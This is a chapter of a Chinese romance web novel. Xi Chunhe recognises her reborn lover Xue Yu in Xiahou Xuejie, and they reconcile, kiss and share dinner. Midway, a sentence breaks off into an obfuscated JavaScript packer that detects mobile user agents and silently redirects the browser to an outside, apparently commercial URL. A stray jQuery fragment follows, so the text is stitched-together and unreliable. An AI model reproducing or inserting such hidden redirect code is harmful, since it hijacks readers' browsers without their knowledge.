这一刻似乎天地都静默,唯有眼前的夏侯雪芥。
奚春和定定地看着他,直到眼角流下第一滴泪。
夏侯雪芥的瞳孔震颤一下,这一刻,他忘记了自己加注在自己身上的一切规训,他只是像以前一样,伸出手,抚上奚春和的侧脸,接住了那滴滚烫的眼泪。
奚春和的脸颊贴着夏侯雪芥修长的手,垂下眼睫,任由眼泪更多地涌出,淌过夏侯雪芥地虎口处。
两人都没有说话,此方天地,唯有奚春和和夏侯雪芥。
直到奚春和抬起眼,看着夏侯雪芥,泪眼朦胧间,他恍若以前的薛彧,站在自己面前。奚春和心口的那股闷痛更甚。
“小姐?”夏侯雪芥见奚春和抬起眼眸,看着自己,便再次小心地询问。
奚春和抬手覆住夏侯雪芥的手,她的声音很轻,就像是雪落在雪地上,可是夏侯雪芥还是听清了。
她在叫薛彧的名字。
“薛彧。”奚春和的手指握上夏侯雪芥的手指,感受到他的指尖蜷了蜷,接着想要抽出。
奚春和握紧他的手指,不准他抽离,看着夏侯雪芥继续说:“你看,我认出你了,叫了你的名字,我没有因此受到神罚。”
夏侯雪芥身形骤然顿住,眼中满是怔然。
“我早就认出你了,你是我的薛彧。”奚春和声音哽咽着,面颊贴着夏侯雪芥的手轻轻蹭了蹭。
“你还是和以前一样,把我看得比天还高,比命还重要,所以我很容易就认出你了。”
奚春和提了一口气,苦涩顺着她的心腹提到喉头,说出的话也带着无边的涩然。
夏侯雪芥的唇开合,却说不出一句话,他看着奚春和,看着她流泪,看着她哽咽,看着她叫出他的名字。心底漫上的疼,不是神佛降罪那般凌厉刺骨,而是看着眼前的爱人哭泣,一点点渗进四肢百骸的钝痛。
“你害怕你重回人间,不合世俗,害怕上天为此降下神罚,害怕会殃及我,所以你打定主意,不告诉我。”
“可是,我认出了你,我没有触怒天威,没有受惩于天。”奚春和拉过夏侯雪芥的另一只手,“不信你可以为我号脉。”
夏侯雪芥眼尾泛红,反手握住奚春和攥着他的那只手,将指尖搭在奚春和的脉搏上——脉息虽然还是偏细,却比以前和缓,是向好之兆。
夏侯雪芥抿了抿嘴,深深吸了一口气,最终拉住奚春和的手腕,放在自己的唇边,将吻印在那纤细的腕间。
温热的眼泪砸在皓腕上,溅起晶莹的碎珠子。
夏侯雪芥声音颤抖,看着奚春和,柔声说:“是你承认了我,所以我才能存在。”
奚春和含泪笑了笑,靠上前,将头埋在夏侯雪芥的胸前。
夏侯雪芥伸手抱住奚春和,下巴轻轻抵在奚春和的头顶。
他感受到奚春和的泪泅湿了他胸前的衣料,他将奚春和抱得更紧一点:“今日遇到什么事了?”
“母亲已经两月没有音信了,父亲北上去寻她了。”奚春和没有抬起头,就贴在夏侯雪芥的胸前,缓缓说着。
夏侯雪芥听到这里,明白了奚春和刚才为何那样失魂落魄。奚春和一向将赵姝春看得极为重要,如今她失踪,奚春和才会如此彷徨无措。
“我离开西北时,见过赵夫人,她神情自若,元气充沛。”夏侯雪芥说到这里,似乎想起什么,继而问奚春和:“是何人告诉你,赵夫人失踪?”
奚春和将奚越所说的告诉夏侯雪芥,就听他松了一口气:“春和,赵夫人精明能干,不是常人能比拟的,既然那人只说寻不到赵夫人,那她一定没有出事。”
听到这里,奚春和抬起头,看着夏侯雪芥。却只能看到他的下巴。
她想要从怀里退出来,夏侯雪芥揽着她的手却没有收回,反而收得更紧了点,直到奚春和喜欢习惯看着他的脸说话,他熟练地偏下头,看着奚春和。
奚春和看他的动作,便也不再挣动,安稳地靠在夏侯雪芥的怀里。
“你为什么如此笃定?”奚春和问出自己心里的疑惑。
薛彧重生在夏侯雪芥的身上,不是真正的夏侯雪芥,可是很多时候,他在回忆西北的记忆时,都像是身临其境,亲自经历过一样。
夏侯雪芥一愣,没料到奚春和会问这个,他意识到自己刚才说出的那句话,却是不是安抚,而是笃定。
他为什么这么笃定,他明明没有在西北生活过,也没有真正地见过赵姝春。
夏侯雪芥摇了摇头,回应奚春和:“不知道,可是这些记忆在我的脑海里根深蒂固,像是我,亲自经历过一样。”
来寻长公主的那人,是赵姝春的心腹,他们之间有特殊的联系方式,能探知彼此的情况。既然那人都说赵姝春只是寻不到了,那么赵姝春就一定还活着。
而且近几年,赵姝春似乎越来越忙,时常有整整一个月不到万影楼的情况。每次来也只是匆匆见过几人,就回了屋子。
奚春和若有所思。她抬起手,拉住了夏侯雪芥的手,说道:“我也相信母亲没事。”
她晃了晃夏侯雪芥的手:“不要想了,我看话本上说,一直想从前的事情,会头痛欲裂。”
夏侯雪芥攥住奚春和的指尖,笑了笑,点点头。
片刻后,夏侯雪芥松开奚春和,扶着她坐在旁边的藤椅上。
“久站会累,坐着,我给你揉一揉头。你每次哭过之后,头都会闷闷的痛。”
奚春和躺在藤椅上,看着夏侯雪芥绕到她的身后,将手指搭上她的太阳穴,轻柔地按压起来。
他的手法娴熟,力度恰到好处,奚春和只觉得原本有些紧绷的脑袋渐渐放松下来,轻轻闭上了眼睛。
夏侯雪芥目光温柔地看着奚春和,温暖的日光透过花架洒在他们的身上,斑驳的光影在两人身上轻轻跳跃。
直到奚春和的眼角流出一滴清泪。
夏侯雪芥的按压地手顿了顿。
“我好自私。”
夏侯雪芥心底泛起苦涩,声音有些哑:“你不自私。”
“我很自私,我需要你,离不开你,所以我没有考虑你愿不愿回到我身边,我又自顾自地把你拉到我身边。”
奚春和一直闭着眼睛。她能感受到夏侯雪芥倾身靠过来,气息喷在自己的脸颊。
“是我心甘情愿,我拼命地想要让你看着我,让你抱着我,要你吻住我。”
夏侯雪芥说完,将唇贴在奚春和的唇上。
奚春和的睫毛微微颤动,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312401|193531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却并未躲开,双手轻轻环住了夏侯雪芥的脖颈,加深了这个吻。良久,两人才缓缓分开,彼此的眼眸中都带着缱绻的情意。
夏侯雪芥轻抚着奚春和的脸颊,低声说:“你比我勇敢,我是怯懦的那一个人。”
奚春和摇了摇头,靠进夏侯雪芥怀里,感受着他的温暖与心跳。
最后一缕阳光被天际吞噬,奚春和和夏侯雪芥身边暗下来。
夏侯雪芥轻声说:“不要再忧虑,越叔北上,一定能寻到赵夫人。”
奚春和点点头。
刚才的不安被冲淡了一些。
“太阳都下山了。”奚春和看着天色,呢喃道。
“你和我一起吃晚饭吧。”奚春和柔声说。
夏侯雪芥点头,看着奚春和的目光充满了柔情。
下午时,阿若见奚春和靠近夏侯雪芥,本想要上前,却在看清自己小姐冲自己摆手的动作后,退出了院子。
她一直站在院门口,见日头西沉,夏侯雪芥还未出来,她便吩咐了厨房今日小隐居多做一份餐食。
此刻桌上摆着的几道菜,都以清淡为主。夏侯雪芥拿放在一旁专门夹菜的筷子夹了青菜放进奚春和的碗里。
奚春和夹起,放进口里。
她想到上一次,也是在这里,她和夏侯雪芥坐在桌旁,一起吃午饭。奚春和专门让厨房做了薛彧以前喜欢吃的几道菜。
此刻,他们又坐在一起,少了试探。
吃过晚饭,喝了一盏茶,夏侯雪芥和奚春和在窗下的矮榻上坐下。
夏侯雪芥从怀里取出一方木盒,将它打开,浓郁的药香便弥漫在两人之间。
“我见你腰间的药囊味道淡了些,便想着为你送新的药丸过来。”
夏侯雪芥说着,伸出手,将奚春和腰间系着的药囊解下来,打开掐丝的盖子,将香盂里的药丸替换掉。
盖子阖上的啪嗒声响起。
夏侯雪芥跪在奚春和的脚边,替她把药囊系好,又调理好位置。
奚春和一直盯着夏侯雪芥,看得他笑了起来。
“为什么一直看着我,春和?”夏侯雪芥抬起头,看着奚春和,两人的眼底都倒映着彼此。
“在想你。”奚春和坦诚道。
她看着夏侯雪芥愣怔的表情,笑了笑:“在想,你对我真好,这药丸的香气,总能让我心安。”她轻轻摩挲着腰间刚换好的药囊,眼中满是温柔与依赖。
夏侯雪芥活泛过来,牵过奚春和的手,温柔地抚摸着她的指尖。
“小姐,该用药了。”阿若的声音在门外响起。
夏侯雪芥松开奚春和的手,站起身后退一步:“春和,我明日再过来。”
奚春和笑着点了点头。
夏侯雪芥转身离开了屋子,出门时和阿若擦肩而过。
两人对视一眼,阿若眼里有些愁闷,夏侯雪芥冲她点头示意,然后提步离开。
阿若端着药,走近屋中,就见奚春和握着腰间的药囊,夜幕还没有完全降临,奚春和这里还未将灯烛全部点上。
阿若看到昏暗的灯火下,奚春和的嘴角一直带着笑意。
她已经很久,没有这样松快过了。阿若将脚步放轻,走到奚春和身边。